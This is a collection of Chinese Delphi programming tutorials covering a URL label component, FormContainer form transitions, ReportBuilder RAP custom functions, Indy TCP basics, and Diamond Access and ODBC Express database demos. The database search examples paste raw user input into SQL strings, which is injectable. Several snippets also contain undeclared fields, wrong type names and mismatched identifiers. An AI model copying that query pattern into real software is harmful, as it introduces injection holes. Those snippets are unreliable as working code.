首先，为这个构件取一个名字，这里我用SWURLLabel（个人喜好，SW表示SeaWave）。
由于这个控件本质上是一个TLabel，所以它从TLabel类派生而来，继承所有TLabel的属性、方法和事件句柄。

该构件准备放在Delphi的一个新面板上，名为“SeaWave”，因此在Register过程中指明了SeaWave字符串型的参数。
要为新控件增加一个字符串型的属性，名为URL，其值表示要执行的操作。
为新控件增加一个事件句柄OnBeforeExecuteURL，指向当执行URL之前要调用的过程。
    下面是SWURLLabel.PAS源程序清单。

unit SWURLLabel;

interface

uses
Windows, Classes, Controls, StdCtrls, SysUtils, Forms,
Graphics, ShellAPI;

type
TSWURLLabel = class(TLabel) // 从TLabel类派生
private
FOnBeforeExecuteURL: TNotifyEvent; // 指向执行URL之前要调用的过程

FURL: String; // URL字符串
procedure SetURL(Value:String);
protected
procedure Click; override; // 重载TLabel的Click方法
public
constructor Create(AOwner:TComponent); override; // 构造函数
function ExecuteURL: Boolean; // 方法，执行URL
published
property OnBeforeExecuteURL: TNotifyEvent
read FOnBeforeExecuteURL
write FOnBeforeExecuteURL default nil;
property OnExecuteURL: TNotifyEvent
read FOnExecuteURL
write FOnExecuteURL default nil;

property URL:String read FURL write SetURL;
end;

procedure Register;

implementation

const DefaultURL:String = 'http://seawave.yeah.net';

{ 重载TLabel的Click方法 }
procedure TSWURLLabel.Click;
begin
inherited Click; // 执行TLabel的Click过程
ExecuteURL; // 调用ExecuteURL过程来执行URL
end;

{ 构造函数，初始化属性 }
constructor TSWURLLabel.Create(AOwner:TComponent);
begin
inherited Create(AOwner); // 首先调用父类的构造函数
FURL := DefaultURL; // URL属性值初始化为默认值
Caption := DefaultURL; // Caption
Font.Color := clBlue; // 颜色默认为蓝色

Font.Style := [fsUnderline]; // 字体默认为带下划线
Cursor := crHandPoint; // 光标形状默认为手掌形
end;

{ 方法，调用Windows API执行URL }
function TSWURLLabel.ExecuteURL;
var
ZFileName:array[0..255] of char;
begin
if Assigned(FOnBeforeExecuteURL) then
FOnBeforeExecuteURL(Self); // 若指定了事件处理过程则调用它
if Length(FURL)>0 then begin
// 当URL不为空时执行
StrPCopy(ZFileName, FURL);
ShellExecute(Application.Handle, nil,
ZFileName, nil, nil, SW_SHOWNORMAL);

  end;
end;

{ 登记新构件的过程 }
procedure Register;
begin
// 第一个参数是面板页的名字，第二个参数是新构件的类名
RegisterComponents('SeaWave', [TSWURLLabel]);
end;

{ 私有方法，设置URL属性值 }
procedure TSWURLLabel.SetURL(Value:String);
begin
FURL := Value;
if csDesigning in ComponentState then
Caption := Value;
end;

end.

    如果要为你的新控件加一个放在Delphi面板上的图标，请用Delphi的映象编辑器建立一个与构件源程序同名的、后缀名为DCR的资源文件，该资源文件包含一个24乘24的16色位图（即新构件的图标），将此DCR文件与源程序文件放在同一目录下，安装新构件完毕后就会发现新构件的图标了（否则Delphi为新构件建立一个省缺的图标）。


FormContainer渐变效果指南

作者 yh

为什么要写这篇短文,目的之一感谢所有帮助过我的人,之二为了让用delphi的朋友们节约点时间来看其Demo.之三是感谢那些为大家无私奉献的朋友,如DelphiVCL,saycc.keeping.coder....太多了.之四是Formcontainer作者做一下宣传,感谢他这么精彩之作,如果大家用好这个东东,一定要想办法购个正式版来用.之五,把LP给忘了:)

FormContainer渐变效果指南

先看看什么是渐变效果,作者在其文档中是这样定义的:一个渐变是运行窗体从开始显示的图形到最后完成显示过程的图形效果.实际上,按我的理解,就是指一个控件在显示过程中所细化的显示过程.这里的控件,指从TControls继承来的所有组件.

在Formcontainer机制中,渐变效果已经被作者抽象成一个基类TTransitionEffect,其他所有要实现的渐变效果都要从这个类继承,并处在其类的层次结构中,而非组件.为了使用一个渐变效果,我们不得不建立,配置,执行最后释放掉这个效果.

对于不同的控件所使用的渐变效果的处理过程是不同的.具体可分为以下三种情况:

一.控制标准窗体的渐变效果.

主要可分为三步:

1.拖一个TFormTransitions组件到一个窗体上;

2.然后通过窗体的Create事件,通过TFormTransitions设置窗体的显示效果;具体作法是建立一个渐变效果类实例,附值给TFormTransitions.ShowTransition.

3.利用窗体的Show或ShowModal,窗体显示时就以设置的显示效果来显示了.

下面是我从其Demo中剪出的示例代码:

procedure TMainForm.FormCreate(Sender: TObject);
var
lTWipeTransition:TWipeTransition;
begin
lTWipeTransition:=TWipeTransition.Create;
FormTransitions.ShowTransition := lTWipeTransition;
with lTWipeTransition do
begin
Milliseconds := 3000;
BandWidth := 100;
Direction := tedDown;
end;
end;

上面的代码中,FormTransitions 是我们手工拖到要改变窗体显示效果上去的TFormTransitions组件.TWipeTransition是作者直接在FormContainer VCL中完成的渐变效果类,代码中用这个类实例lTWipeTransition 来处理窗体的显示效果.通过上面的代码,也不难想到,要使用不同的渐变效果来显示窗体,只要改变FormTransitions.ShowTransition的值就能达到.

二.插入到父窗体中的子窗体的渐变效果

按前文,为了将一个窗体插入一个父窗体,我们要用到TFormcontainer,并用其来建立被插入窗体.下面是具体的代码:

FormIntro := TFormIntro(FormContainerNavigator.CreateForm(TFormIntro));

同样,为了显示被插入的子窗体,我们不能调用子窗体的Show或ShowModal,而不得不用TFormContainer的ShowForm或ShowFormEx方法.实际上,如果要改变子窗体的显示效果,

就只能用ShowFormEx显示子窗体.下面这行代码演示如何利用TransEffct效果实例显示子窗体FormIntro:

FormContainerNavigator.ShowFormEx(FormIntro, True, TransEffct, nil, Align);

到此,我们看一下完整的代码,来理解如何控制子窗体的渐变效果:

procedure TFormNavigator.Intro;
var
TransEffct: TTransitionEffect;
begin
TransEffct := TWipeTransition.Create;
TransEffct.FlickerFreeWhenDisabled := True;
TransEffct.Milliseconds := 500;
(TransEffct as TWipeTransition).BandWidth := 50;
try
FormIntro := FormIntro(FormContainerNavigator.CreateForm(TFormIntro));
FormContainerNavigator.ShowFormEx(FormIntro, True, TransEffct,nil,Align);
finally
TransEffct.Free;
end;
end;

通过上面的代码,很容易就能看原来子窗体的显示效果是通过Formcontainer的ShowFormEX方法的第三个参数来完成.

三.控件的渐变效果

下面的代码演示如何控件一个TMemo的显示效果:

procedure TFormIntro.ShowText;
var
TextTransition: TWipeTransition;
begin
TextTransition := TWipeTransition.Create;
try
TextTransition.Milliseconds := 2000;
TextTransition.Direction := tedDown;
TextTransition.BandWidth := 100;
TextTransition.Prepare(MemoText.Parent,
memoText.BoundsRect);
MemoText.Visible := True;
if TextTransition.Prepared then
TextTransition.Execute;
finally
TextTransition.Free;
end;
end;

从代码中可以看到,首先要为控制显示的TMemo控件设置为不可见.一般的情况在设计期设置Visible=False.然后建立一个效果类,利用效果类对TMemo进行Prepare,再设置TMemo为可见,最后让效果执行.即执行效果类的Execute方法.别忘了释放声明的效果类.

到此,也无法完整说明FC-Demo,这里,只是一个总结,如果想进一步了解FC的使用,还得参考其帮助文档及Demo.当然,你会得到意外的收获.

yh

yhnew@163.net


Form container简易手册

作者: yh

将一个子窗体插入另一个窗体,想过没?可能没想过.现在有了FormContainer,呵呵,梦想成真了.

开始的第一步,当然得托一个FormContainer到被插入的窗体,即父窗体.
Formcontainer在哪?,别问我.这个东东与Panel类似,放完之后再放入其他的
控件,操作也与panel差不多.
下一步,准备要插入的子窗体,在设计期,子窗体要满足一些条件:
1.BorderStyle=bsNone
2.FormStyle=fsNormal
3.WindowState=wsNormal
4.Visible=False
运行时对于使用的窗体也有一些限制:
1.不要用窗体的Show,Hide方法或Visible属性改变其可见性(visibility)
2.不能调用ShowModal,close,Destroy,Free或Release
3.不能改变Borderstyle,FormStyle与WindowState
4.OnActivate与OnDeactivate事件用标准控件的OnEnter与OnExit代替
5.OnClose事件不会被触发
6.OnClosequery只能被CloseQuery或ClosequeryAll触发
7.OnShow与OnHide只在直接或间接调用ShowForm或ShowFormEx并窗体显示或隐藏时触发

为了建立一个窗体,必须用formContainer的CreateForm方法.通过这种方法建立的窗体将作为FormContainer的子窗体,并将随其的消毁而消毁.例如:

MyForm:=TMyForm(MYFormcontainer.CreateForm(TMyForm)));

上面这行代码建立一个MyForm,类为TMyForm,它是MyFormcontainer的一个子窗体.

窗体虽然建立但依然是不可见的,为了显示它,还要通过两种方法:ShowForm与ShowFormEx.

MyFormContainer.Showform(Myform,False);

或
MyFormcontainer.ShowFormEx(MyForm,False,nil,nil,fcfaDefault);

到这我们显示了MyForm窗体,如果有以前显示的窗体,他将被隐藏,但并没有被删除.(如果要删除,随时调用DestroyForm方法并将第二个参数设为True.)
由于没用使用转换(Transition),所以不能改变BackGroundOptions.并且显示的窗体将依照设计时的设置时行排列.

所有联系到FormContainer可通过Forms属性来访问,Form返回显示的窗体.

如前所述,当FormContainer被destroy,所有与其联接的窗体也被destroy.

FormContainer自动维护一个LRU(Last Recently Used)窗体列表.可通过设置
LRUFormCapacity改变列表元素的最大值.要返回以前用过的窗体,可用:
ShowLRUForm,ShowLRUFormEx,ShowNextLRUForm,ShowNextLRUFormEx,ShowPriorLRUForm或ShowPriorLRUFormEx.

除非设置了SaveLRUDestroyedForms为True,否则Destroyed的窗体不被包含在列表中,当以前消毁的窗体需自动重新建立,FormContainer有一种机制,允许适当的初始化窗体.例如:假设你有一个窗体包含了edit控件并且你用以前用户输入的文本初始化它,则可继承TFCExtraData类和他的三个published方法.

published
function FCGetExtraDataClass: TFCExtraDataClass;
procedure FCGetExtraData(ExtraData: TFCExtraData);
procedure FCSetExtraData(ExtraData: TFCExtraData);

...
TMyExtraData = class(TFCExtraData)
public
MyEditText: String;
end;

function TMyForm.FCGetExtraDataClass: TFCExtraDataClass;
begin
Result := TMyExtraData;
end;

procedure TMyForm.FCGetExtraData(ExtraData: TFCExtraData);
begin
MyEdit.Text := (ExtraData as TMyExtraData).MyEdit.Text;
end;

procedure TFormLRUSample.FCSetExtraData(ExtraData: TFCExtraData);
begin
(ExtraData as TMyExtraData).MyEditText := MyEdit.Text;
end;

可以在演示程序的LRU.PAS单元中看到这样的例子.

如果一个子窗体有TMainMenu并设置其AutoMerge为True,当其显示时menu将与主窗体的menu(Application's main menu)容和.

可以用图片作为FormContainer的显示背景,用不能的效果.(例子中用tiled效果),窗体的alignment可通过ShowFormEx的最后参数来控制.(如:强制窗体在FormContainer中居中,则可调用fcfaCenter).

每次可见窗体被切换时,OnFormChange事件将被触发.

隐藏当前显示的窗体也不显示其他的窗体,象下面这样调用:

MyformContainer.ShowForm(nil,False);

当显示或隐藏窗体时用转换(transition),在调用ShowFormEx时传进一个Transition参数:

var
Transition: TFuseTransition;
begin
Transition := TFuseTransition.Create;
try
Transition.Milliseconds := 500;
MyFormContainer.ShowFormEx(MyForm, False, Transition, nil, fcfaDefault);
finally
Transition.Free;
end;
end;

yh
yhnew@163.net


在Report Builder中增加自定义函数

作者：yh

为什么？

前几日，网友Miracle提到此问题，由于自己也被此问题困扰过，因此决心实现一下；此外，对于这个问题，我想在应用中如果用到了RB并使用了她的最终用户方案即RAP技术，那么这个问题也肯定会遇到。具体来说也就是这样一种情况：假若在一个应用中可能有几个全局的变量，我们想在RB的报表中体现出来，作为报表的内容，怎么实现？

没想到，原来RB对此在其RAP技术中已经支持的非常完善，在参考了其demo及help文档，很容易就实现了，因此，相信你也能：），当然，在你继续看下去之前，应该知道什么是Report Builder以及RAP，并且在你的应用中已经用到，要不然，你可能困难了。

实现方法

先确定一下我们要实现什么？
在RAP中，我们增加一个这样的函数：
Function GetCorpName:String//取得软件用户的公司名称。
注意，我们是要在RAP中实现。如果对于Delphi的代码，这很易实现，比如这是在Delphi实现代码：
Function GetCorpName:String
Var
LsIni:TiniFile;
Begin
With lsIni.Create(‘test.ini’) do
Try
Result:=ReadString(‘main’,’CorpName’,’’);
Finally
Free;
End;
End;
现在已经知道了要干什么了。那么如何利用RB的方案来实现呢？具体来说，要经过如下几步来实现：
１定义TraSystemFunction的子类；
２重载TraSystemFunction几个方法；
３利用raRegisterFunction注册实现的子类；

第一步，如何定义 TraSystemFunction？
在RAP中，已经实现了TraSystemFunction类的5个子类，因此我们要实现的类可以直接从现有的子类中继承。看一下这几个子类：
TraSystemFunction
|
-- TraStringFunction
|
-- TraConversionFunction
|
-- TraFormatFunction
|
-- TraDateTimeFunction
|
TraMathFunction
由于要定义的函数GetCorpName返回的是String,所以从TraStringFunction继承就是了。具体定义如下：
TmyGetCorpNameFunction=class (TmyStringFunction)
Public
Procedure ExecuteFunction(aParams:TraParamList);override;
Class Function GetSignature:String;override;
Class Function HasParams:Boolean;override;
End;
这里，TraSystemFunction及raRegisterFunction在raFunc单元中定义，因此你一定要在uses子句中引用raFunc。
第二步，重载TraSystemFunction的方法
通过第一步的定义，已经看到在TmyGetCorpNameFunction类中定义了三个方法，那你一定知道要重载的具体内容了。

1.Procedure ExecuteFunction(aParams:TraParamList);override;
从其名称不难看出，这里的代码就是在RAP中具体调用的Delphi原生代码！参数aParams的作用是：引入自定义函数参数列表及返回函数的结果。比如：自定义的函数的格式为：
Function MaxNum(I,I :integer):Boolean;
那么，当在RAP中以这样的格式调用MaxNum(12,20)，那么12,20会通过aParams传进去，其Boolean型结果也会通过aParams返回。为了取得传进的参数，我们会用到
GetParamValue(ParamIndex,LocalVar);
接上例MaxNum,为了得到12及20,这样写代码：
GetParamValue(0,lsInteger1);//返回12
GetParamValue(1,lsInteger2);//返回20
这里，ParamIndex对应传进参数的序号；LocalVar是接受参数值的临时变量，也就是需要在ExecuteFunction中声明的，当然是有几个参数需要定义几个这样的变量。
如何返回函数的结果呢？这要用到
SetParamValue(MaxParamIndex,lsResult);
接上例,则这样调用：SetParamValue(2,lsResult);
为什么MaxParamIndex传进2作为其值呢？通过上面的GetParamValue就可以看出来，不是吗？

2. Class Function GetSignature:String;override;
这个函数返回RAP中自定义函数的声明，注意，不是Delphi版本中声明。
例如，对于上文中提到GetCorpName函数，应这样实现：
class Function TmyGetCorpName.GetSignature:String;
begin
result:=’function GetCorpName:String’;
end;
实际上，此函数结果在注册后会出现在报表设计器CALC页中的Tool Language中，以供用户使用。
3．Class Function HasParams:Boolean;override;
此函数从其名称可以猜到是判断自定义函数是否有参数。实际就是如此。如果返回True,则自定义函数有参数，否则没有参数。对于GetCorpName自定义函数，就要这么写代码：
class function HasParams:Boolean;override;
begin
result:=false;//此定义函数无参数
end;
实际上，HasParams就是针对无参数的自定义函数而作，如果要实现的自定义函数有参数，那就不需要重载此函数。
关于此要重载的函数，除了上述说明外，还有一个isFunction，如果你定义的函数是一个过程，则需要重载，以返回False.实现过程同HasParams差不多。
第三步，注册为定义函数而定制的类
这里要用到raRegisterFunction(const aFunctionName: String; aClass: TraSystemFunctionClass);
一个定制的类，只有通过raRegisterfunction的注册，才能使其实现在函数出现在 RAP的Code ToolBox中。此外，注册函数应写在单元的initialization段中。
如：
initialization
raRegisterFunction(‘GetCorpName’,TmyGetCorpFunction);
写到这里，一个无参数的自定义函数GetCorpName已经定义完成，最后让我们看看其完整的代码：
unit myRAPFUC;

interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
Forms, Dialogs, raFunc, ppRTTI, DataMdl;

type

TMyGetCorpNameFunction = class(TraStringFunction)
public
procedure ExecuteFunction(aParams: TraParamList); override;
class function GetSignature: string; override;
class function HasParams: boolean; override;
end;

implementation

procedure TmyGetCorpNameFunction.ExecuteFunction(aParams: TraParamList);
var
lsResult: string;
begin
lsResult := dm.czyMC;
SetParamValue(0, lsResult);
end;

class Function tmyGetCorpNameFunction.GetSignature: string;
begin
result := 'Function GetCorpName:String;';
end;

class function TmyGetCorpNameFunction.HasParams: Boolean;
begin
result := false;
end;

initialization
raRegisterFunction('GetCorpName', TmyGetCorpNameFunction);

end.
所附单元在delphi4+rb5enterprise通过，我作了最大的简化以减少入门的难度，当你掌握此处的实现方法，就可以进一步学习定义带参数的自定义函数等等，实际上，你可以在ExecuteFunction中尽情的发挥你的想象力，好让你的用户在自定义报表过程中不受你Delphi代码的束缚！
尽情享受Report builder带给我们的自由空间吧。
I love Delphi,I love Report Builder.

为RB定制支持参数的自定义函数
通过昨天的短文，检阅过的朋友已经了解如何为Report Builder的RAP建立一个简单的自定义函数，同时我亦提到，发挥自已的想象力，就可以将诸多的Delphi原生代码呈现给你的用户，当然也包括你自身，站在用户角度去完成应用报表的最终定义，从而将编程与应用分为，减少开发者的麻烦。在我的编程经历中，最讨厌的就是为用户画报表，太无聊亦无意义的事情，莫过如此。我宁愿花几小时的时候去调试我的代码，也不愿花10分钟去为用户画一个报表。不知道你有没有同感……正因为如此，所以我想尽可能的通过自定义函数的形式，去增加用户可用的报表定义功能，是一件非常用意义的事情。
为了感谢大家对我的鼓励，所以想继续完成上文中没有提到的部分，作一个支持带参数的自定义函数，先确定一下具体的任务,实现下面的函数，在RAP中返回如下的页数格式‘第n页 共m页’，原型如下：

Function ChinesePageNo(PageNo,PageCount):String;

现在，任务已经确定，接下来看一下如何在Delphi中完成这样的任务。
第一步，为ChinesePageNo定义类；
TMyChinesePageNoFunction=class(TmyNewCategoryFunction)
public
procedure ExecuteFunction(aParams:TraParamList);override;
class function GetSignature:String;override;
end;
第二步，实现类ChinesePageNo;
这里的关键是如何实现ExecuteFunction,使用户能够在RAP中通过参数调用ChinesePageNo。为此，按下面步骤进行即可：
1． 从aParams取得参数；
2． 调用delphi的实现过程；
3． 利用aParams返回结果；
下面是具体的实现代码：
procedure TmyChinesePageNoFunction.ExecuteFunction(aParams:TraParamList);
var
lsInteger1,lsInteger2:integer;
lsResult:String;
begin
GetParamValue(0,lsInteger1);
GetParamValue(1,lsInteger2);
lsResult:=Format('第%d页 共%d页',[lsInteger1,lsInteger2]);
SetParamValue(2,lsResult);
end;
在上述代码中，通过GetParamValue取得传进的参数，SetParamValue返回结果。
其次，为了让最终用户能够在RAP中看到并使用ChinesePageNo,还需要实现类方法
class function GetSignature:String;overrive;并在单元的Initialization部分注册这个函数。
以下是实现代码：
class function TmyChinesePageNoFunction.Getsignature:String;
begin
result:='Function ChinesePageNo(const PageNo,TotalPage:Integer):String;';
end;
initialization
raRegisterFunction('ChinesePageNo',TmyChinesePageNoFunction);
end.
综上，我们已经完成了整个函数的定义。最后来看看如何在RAP中调用。以下过程是在Report Builder的RAP中实现的。
1． 在报表的Footer条上放一个Variable,右键选取“计算”菜单，进入具体的编码过程；
2． 假定使用的ppReport的UserName为[Report],则为Variable写如下代码：
Value :=ChinesePageNo(Report.PageNo , Report.PageCount);
3． 最后，预览一下报表，会看到在Variable处正确的显示了’第1页 共1页’。
就写到这，相信你看完之后也一定会完成这项任务。如果有什么问题，可以给我来信，信箱是yhnew@163.net


制作分栏打印效果

bird

摘　要：REPORT BUILDER如何制作分栏打印效果
关键字：REPORT BUILDER 分栏 报表
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

要求显示效果如下：
COLUMN1 COLUMN2 | COLUMN1 COLUMN2
----------------------------------------------
RECORD1 RECORD1 | RECORD2 RECORD2
RECORD3 RECORD3 | RECORD4 RECORD4
。 。
。 。
。 。
请问如何在report builder中实现。
在ReportBuilder 中不用写任何代码就可实现你的功能：）

双击报表控件（如ppReport1），打开报表设计器。选择菜单 File -> Page Setup...
打开报表纸张设置 ， 选择 “Layout”页， 设置Columns 为 2，
设置 Columns Traversal 为 “Left To Right” （默认为Top To Bottom）。
然后单击“OK”

预览一下， 一切OK 。：）
投稿人：bird　投稿日期：2001-5-25 0:06:00


简介

Indy是由原来著名的网络控件包小组Winshoes开发的新一代网络组件包括了大量可用于Internet开发的控件，主要分为三个部分，分别为：Server类、Client类、杂项类。下面让我们来逐一介绍：

TIdTCPServer控件实现了一个多线程的TCP Server ，它使用一个线程来监听客户端的连接，同时使用一个TIdThreadMgr控件来分配独立的多个线程来响应每个客户端的连接。TIdTCPServer 可以被用来作为基于TCP/IP协议的其他协议Server实现的基类。几乎所有的Indy的Server控件比如TIdChargenServer, TIdDayTimeServer,等都是TIdTCPServer 的子类。

下面是一个最简单的TIdTCPServer的例子，它实现了TIdTCPServer的OnExecute事件处理，每当有一个客户连到Server上时，就向客户端发送一个消息，然后断开连接。

procedure TfrmServer.TCPServerExecute(AThread: TIdPeerThread);
begin
with AThread.Connection do
begin
WriteLn('有一个客户连到了服务器');
Disconnect;
end;
end;

有服务器就要有客户TIdTCPClient控件就实现一个基于TCP协议的客户端。它还是几乎所有Indy客户端控件的基类。

下面代码演示了如何使用一个TIdTCPClient控件来连接上边的服务器，

procedure TForm2.btnGoClick(Sender: TObject);
begin
with TCPClient do
begin
//连接服务器
Connect;
try
lstMain.Items.Add(ReadLn);//获得服务器发回的消息
finally
Disconnect;//断开
end;
end;
end;


两个经典数据库控件集详解

广东南海市公安局计算机安全监察股 喻凯

Delphi强大的数据库功能一直是Delphi程序员们的最爱，然而，BDE强大功能的后面，却有太多的限制。当程序员们绞尽脑汁编出短小精悍的程序而兴高采烈时，他们不得不尴尬的面对发布程序时BDE那几兆大的附加文件。有没有其他控件，既可以使用Delphi强大的数据库功能而又不要那几兆大的BDE?答案时肯定的，那就是使用第三方控件或者Delphi5的ADO控件。

在这里，我将详细介绍Delphi第三方数据库控件集：Diamond Access1.7和ODBC Express5.06。Diamond Access控件集使用微软数据访问对象DAO(Dada Access Object)访问数据库。利用此控件集访问数据库，可以完全摆脱BDE，当然，发布程序时也就无需考虑BDE的麻烦了。而且，DAO的访问速度比BDE更快。ODBC Express控件集使用大家都很熟悉的ODBC访问数据库，只要设置好数据源(DSN)，就可以访问大部分类型的数据库；而且，使用ODBC接口的程序具有更大的可移植和通用性。ADO(ActiveX Data Object)数据库访问控件在Delphi5中已经加入进来，如果要在Delphi4或者更低的版本使用ADO，就必须使用第三方控件，比如：Diamond DAO，同样可以提供强大的更能。

以下，我们通过实例的形式详细介绍Diamond Access1.7和ODBC Express5.06的使用，我们将利用这两个控件集实现同样的功能：在DBGrid中列出数据库所有数据，通过输入检索数据。通过这些实例，我们可以基本了解以下内容：

1）Delphi中应用这两个控件集访问数据库的基本技术；

2）发布采用这两个控件集的程序需要注意的问题和基本方法；

3）两个控件集的优缺点和下载安装方法；

Diamond Access控件集演示

一、控件说明

Diamond Access是一套高速连接Microsoft Access数据库的控件集，包括TDAODatabase, TDAOTable, TDAOQuery和TDAOQueryDef四个控件（图一）。它不依靠BDE访问数据库，而是使用微软的Data Access Objects 3.5 (DAO)和Jet Database Engine 访问数据库，利用Access自带数据库引擎，Diamond Access可以提供高速的数据库访问接口。

控件TDAODatabase用于定义要访问的Access数据库，主要属性是DataBaseName（数据库名）；TDAOTable和Delphi自带数据库控件Tabel相似；TDAOQuery和Delphi自带控件Query相似；TDAOQueryDef和DAO QueryDef object一起使用，平时编程中较少用到。

二、演示程序

现在，我们用实例了解Diamond Access的用法。在程序中，我们将用到TDAODatabase控件，TDAOQuery控件，Delphi自带Datasource控件，Edit和Button控件。程序打开数据库DataBase的main表并列出所有数据，Edit1控件用于输入数据检索。为了更好的了解，我们先看看main的表结构。

1）数据库DataBase表main的结构

字段名 数据类型 字段大小/格式

ID 自动编号 长整型

姓名 文本 50

电话 文本 50

生日 日期/时间 常规日期

说明 文本 100

表1 数据库DataBase表main的结构

2）程序中控件属性

为了程序有更好的可迁移性，我们尽量不再属性面板中设置控件属性，而是在程序代码中设置。以下属性，只是控件最基本的要求，进一步设置请看程序源代码。

控件 属性

Form1 Caption:Diamond Access演示；

DAODatabase1 默认；

DAOQuery1 Database:DAODatabase1；SQL:select * from main；

DBGrid1 DataSource：DataSource1；

DataSource1 Dataset:DAOQuery1；

Edit1 Text:空；

Button1 Caption:检索

表2 Diamond Access演示程序控件及控件属性

3）程序代码

程序在Form1的Create时间中设置控件的主要属性。

procedure TForm1.FormCreate(Sender: TObject);

var

basename:string;

begin

//定义数据库，这里是程序所目录的Data子目录下的database1.mdb文件

baseName:=ExtractFilePath(Application.ExeName) + 'data\database1.mdb';

DAODatabase1.DatabaseName:=basename;

try

DAODatabase1.Open; //打开数据库

daoquery1.Open; //执行“Select * from main”语句（请看控件属性设置）

except

ShowMessage('打开数据库错误.');

Halt;

end;

end;

点击按钮Button1，检索表main中姓名等于Edit1输入值的记录。

procedure TForm1.Button1Click(Sender: TObject);

var

strsql:string; //用于定义DAOquery1的SQL语句

begin

strsql:='select * from main where ';

if trim(edit1.text)<>'' then

strsql:=strsql+'姓名'+'='+'"'+edit1.text+'"';

form1.daoquery1.close;

form1.daoquery1.sql.clear;

form1.daoquery1.SQL.add(strsql);

Form1.setfocus;

try

form1.daoquery1.open;

except

form1.daoquery1.execute;

end;

end;

三、下载与安装

Diamond Access1.7可以在凌云天地下载（http://www.ocloud.com），安装与一般控件安装相同。

四、要注意的地方

1）发布程序

应用Diamond Access控件的程序，在发布时要注意目标计算机是否安装有DAO3.5或者以上版本，如果没有，程序执行时会出现要求安装的提示。DAO3.6安装版下载：http://www.softlink.com/support/files/dao360.zip。

2）关于Access版本的限制

现在的Diamond Access只支持Access97版本，程序中最好使用Access97数据库。

3）日期格式的特殊说明

日期数据的检索，日期格式要求与Access的日期格式相同，不可与Delphi的数据库的日期格式相同。试举一例：检索两个时间段之间的所有数据，这两个时间由控件：datetimepicker1和datetimepicker1来决定，那么，SQL语句如下：

DAOquery1.sql.add('select * from main where 生日 between #'+formatdatetime('mm/dd/yyyy',datetimepicker1.time)+'# and #'+formatdatetime('mm/dd/yyyy',datetimepicker2.time)+'#');

在这里，我们特意转换时间格式为：“mm/dd/yyyy”格式(月/日/年)格式，并且，时间用“#”包围起来。

ODBC Express5.06控件集

一、控件说明

ODBC Express控件集是利用ODBC快速访问数据库的控件，与Diamond Access不同，ODBC Express可以访问不同类型的数据库，并不局限于Access数据库。所以，ODBC Express具有较大的灵活性。

ODBC Express控件集包括19个控件，实际上分为三类：核心控件，用于连接和查询数据库；可视数据控件；不可见控件。

二、演示程序

这个程序演示了如何在程序中动态设定DSN数据源，如何动态载入数据，同时，简单演示了一个查询。所用控件有：THDBC控件，用于与DataSource建立连接；OEDataset控件；DataSource控件；DBGrid控件，Edit控件和一个Button控件。所用控件属性如下：

控件 属性

Form1 Caption:ODBC Express5.06演示；

Hdbc1 默认；

OEDataset1 hdbc:Hdbc1；

DBGrid1 DataSource：DataSource1；

DataSource1 Dataset:OEDataSet1；

Edit1 Text:空；

Button1 Caption:检索

表3 ODBC Express5.06演示程序控件属性

程序中所用数据库和Diamond Access演示中数据库结构相同。以上控件的其他属性将在程序代码中设置。

程序代码

程序在Form1的Create中设定数据源DSN，同时设置其他控件属性。其中，设定DSN数据源将用到注册表操作，请注意。

procedure TForm1.FormCreate(Sender: TObject);

var

registerTemp : TRegistry;

bData : array[ 0..0 ] of byte;

begin

//以下程序设置DSN数据源；

registerTemp := TRegistry.Create;

//建立一个Registry实例

with registerTemp do

begin

RootKey:=HKEY_LOCAL_MACHINE; //设置ROOT；

if OpenKey('Software\ODBC\ODBC.INI\ODBC Data Sources',True) then

begin

WriteString( 'MyAccess', 'Microsoft Access Driver (*.mdb)' ); //设定DSN为“MyAccess”；

end

else

begin

showmessage('增加ODBC数据源失败');

exit;

end;

CloseKey;

//找到或创建Software\ODBC\ODBC.INI

if OpenKey('Software\ODBC\ODBC.INI\MyAccess',True) then

begin

//定义数据库目录为:程序目录\data\database1.mdb

WriteString( 'DBQ',extractfilepath(application.exename)+'data\database1.mdb');

WriteString( 'Description','ODBC Express演示数据源' ); //数据源描述；

WriteString( 'Driver', 'C:\PWIN98\SYSTEM\odbcjt32.dll' ); //驱动程序DLL文件

WriteInteger( 'DriverId', 25 );

WriteString( 'FIL', 'Ms Access;' );

WriteInteger( 'SafeTransaction', 0 );

WriteString( 'UID', '' ); //用户名称

bData[0] := 0;

WriteBinaryData( 'Exclusive', bData, 1 );

WriteBinaryData( 'ReadOnly', bData, 1 );

end

else

begin

showmessage('增加ODBC数据源失败');

exit;

end;

CloseKey;

//找到或创建Software\ODBC\ODBC.INI\MyAccess\Engines\Jet

//写入DSN数据库引擎配置信息

if OpenKey('Software\ODBC\ODBC.INI\MyAccess\Engines\Jet',True) then

begin

WriteString( 'ImplicitCommitSync', 'Yes' );

WriteInteger( 'MaxBufferSize', 512 ); //缓冲区大小

WriteInteger( 'PageTimeout', 10 ); //页超时

WriteInteger( 'Threads', 3 ); //支持的线程数目

WriteString( 'UserCommitSync', 'Yes' );

end

else

begin

showmessage('增加ODBC数据源失败');

exit;

end;

CloseKey;

Free;

end;

//以下程序设置控件属性；

Form1.Hdbc1.Terminate;

Form1.Hdbc1.DataSource:='myaccess'; //DSN名字

Form1.Hdbc1.UserName:=''; //数据库用户名

Form1.Hdbc1.Password:=''; //用户密码

Form1.Hdbc1.Connect;

OEDataSet1.Table:='main'; //数据表为main

OEDataSet1.sql:='select * from main ';

OEDataSet1.Open;

datasource1.dataset:=OEdataset1;

dbgrid1.DataSource:=datasource1;

end;

以上程序设置DSN是重要的一部分，这样才使程序具有真正的可移植性。以下代码为检索部分。

procedure TForm1.Button1Click(Sender: TObject);

begin

if edit1.text='' then //是否输入数据

begin

showmessage('请输入数据');

exit;

end;

OEDataSet1.Hstmt.ExecAsync:= True;

OEDataSet1.Table:='main';

OEDataSet1.sql:='select * from main where 姓名'+' like'+' "*'+edit1.text+'*"';

OEDataSet1.open;

end;

注：以上DSN设置部分参考了大富翁论坛（http://www.delpibbs.com）贴子，在此表示感谢。

三、下载与安装

ODBC Express5.06在男儿有志当凌云（http://www.inprises.com）下载（提供源代码）。执行Setup安装。

四、要注意的地方

1）版本问题

ODBC Express5.06以前的版本在Delphi5中使用时，将出现一些错误，如：关闭使用了此控件集的程序时报错。建议Delphi5用户下载ODBC Express5.06及以后版本。

2）程序发布问题

以上演示程序在程序窗口创建时定义DSN数据源，并不是太好的方法，一是延长程序启动时间，二是每一次程序执行都设置一次，并不太好。建议适当修改以上程序，使其更加合理。

总　结

